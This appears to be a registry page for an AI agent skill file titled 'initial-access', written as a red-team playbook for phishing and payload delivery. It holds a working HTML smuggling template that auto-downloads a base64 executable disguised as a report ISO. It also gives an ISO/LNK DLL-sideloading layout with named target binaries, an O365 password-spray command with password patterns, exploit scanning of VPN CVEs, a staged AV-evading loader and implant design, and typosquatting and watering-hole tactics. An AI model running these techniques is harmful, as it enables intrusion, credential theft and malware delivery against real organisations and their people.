agentleFS
jessefmoorejessefmoore/offensive-claude-code/skills/initial-access/SKILL.md

initial-access

Skill2 starsChanged 5 months agoMITView on GitHub

Modern initial access techniques — phishing, payload delivery, HTML smuggling, ISO/IMG bypass, supply chain attacks, credential stuffing, exposed service exploitation

We split this skill into the rules it gives an agent

4 rules. 0 are common, 4 are distinctive, and 0 are very specific to this project.

  • 0

    Common

    Most of the 3 edited versions we read keep these.

  • 4

    Distinctive

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Use HTTPS with valid certificate

    line 34
  2. Distinctive:

    Use legitimate email services (O365, Google Workspace) for sending

    line 163
  3. Distinctive:

    Test payload against target's email gateway (if possible, get sample config)

    line 165
  4. Distinctive:

    Use HTTPS for all payload hosting

    line 166

“Common” is measured: kept by at least 6 in 10 of the 3 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Initial Access

When to Activate

  • Planning initial access phase of red team engagement
  • Developing phishing campaigns and payload delivery
  • Bypassing email gateways and endpoint protection
  • Exploiting exposed services for initial foothold

Attack Vectors

Email-Based (Phishing)

Payload Delivery Formats (bypass probability):

  • .exe — almost always blocked
  • .iso/.img — bypasses MOTW (Mark of the Web) on older Windows
  • .html (smuggling) — high success rate
  • .pdf with embedded JS — moderate
  • .one (OneNote) — effective until patched
  • .lnk + DLL sideload — high success in ISO container
  • .pptm/.ppsm/.accde — often not covered by default protection

Domain Preparation:

  • Domain age > 2 weeks (warm up with legitimate emails first)
  • Use HTTPS with valid certificate
  • Category: business/technology (not "newly registered")
  • SPF, DKIM, DMARC properly configured
  • Send legitimate emails first to build reputation

HTML Smuggling

<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
    var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
    var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))], 
                        {type: 'application/octet-stream'});
    var url = URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url;
    a.download = 'Report_Q4_2026.iso';
    a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>

ISO/IMG Container (MOTW Bypass)

# Structure inside ISO:
├── Report.lnk          # Shortcut that executes the DLL
├── legitimate.exe      # Signed binary vulnerable to DLL sideload
└── payload.dll         # Malicious DLL loaded by legitimate.exe

# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen

Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.

OneNote (.one) Payload

# Embed .bat/.hta behind fake "Double click to view" image
# User double-clicks → executes embedded script
# Effective because OneNote files are rarely blocked by email gateways

DLL Sideloading

# Find legitimate signed EXE that loads DLL from CWD:
# 1. Use Process Monitor: filter for NAME NOT FOUND on DLL loads
# 2. Common targets: teams.exe (ffmpeg.dll), onedrive, slack
# 3. Place malicious DLL alongside legitimate EXE in delivery package

# Popular sideload targets:
# - Microsoft Teams: ffmpeg.dll
# - OneDrive: secur32.dll
# - Slack: libEGL.dll
# - VS Code: wlanapi.dll (portable mode)

Credential-Based Access

Credential Stuffing

# Use breach databases to test against target services
# Tools: Hydra, Burp Intruder, custom scripts
# Targets: VPN portals, OWA, O365, Citrix, RDP

# O365 password spray (avoid lockout: 1 attempt per user per hour)
# Tools: MSOLSpray, Ruler, MailSniper
python3 msolspray.py --userlist users.txt --password 'Company2026!' --url https://login.microsoftonline.com

# Common patterns to try:
# Season+Year: Summer2026!, Winter2025!
# Company+digits: CompanyName1!, Corp2026#
# Month+Year: May2026!, January2026!

Exposed Service Exploitation

# VPN (Fortinet, Pulse Secure, Citrix, Palo Alto)
# Check for known CVEs: CVE-2023-27997 (Fortinet), CVE-2024-3400 (PAN-OS)
searchsploit fortinet
nuclei -u https://vpn.target.com -t cves/ -severity critical

# Exchange (ProxyShell, ProxyNotShell, OWASSRF)
# RDP (BlueKeep CVE-2019-0708 for legacy)
# Jenkins, GitLab, Confluence (common RCE CVEs)

Supply Chain

# Compromise trusted software update mechanism
# Inject into CI/CD pipeline
# Typosquatting on package managers (npm, PyPI)
# Compromise developer workstation → push malicious commit

Staged Payload Architecture

Stage 0 (Loader) — extremely light (<30KB), FUD
├── Self-contained, no external dependencies
├── Only job: download/extract/inject Stage 1
├── NOT .exe (use .dll sideload, .hta, .lnk+script)
└── Must bypass email gateway + endpoint AV

Stage 1 (Minimal Implant) — lightweight C2
├── 5-6 commands: ls, whoami, pwd, download, upload, execute
├── Persistent (registry, scheduled task)
├── FUD (may touch disk)
└── Used to deploy Stage 2 after recon

Stage 2 (Full C2) — Cobalt Strike, Sliver, Havoc
├── Full post-exploitation capability
├── In-memory only (never written to disk)
├── Deployed after AV/EDR assessment
└── Replace Stage 1 persistence with Stage 2

OPSEC for Initial Access

  • Warm up phishing domain 2+ weeks before engagement
  • Use legitimate email services (O365, Google Workspace) for sending
  • Limit number of GET elements and parameter names in URLs
  • Test payload against target's email gateway (if possible, get sample config)
  • Use HTTPS for all payload hosting
  • Kill date on all payloads (auto-destruct after engagement window)
  • Separate infrastructure per engagement phase (phishing ≠ C2)
  • Monitor for blue team interaction with your infrastructure

Delivery Alternatives

# QR code to attacker-controlled site (bypasses email URL scanning)
# Legitimate file-sharing links (OneDrive, Google Drive, Dropbox)
# Vishing (voice phishing) → guide target to download payload
# USB drop (physical access scenarios)
# Watering hole (compromise site frequented by targets)
# LinkedIn/social media DM with "job offer" document

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.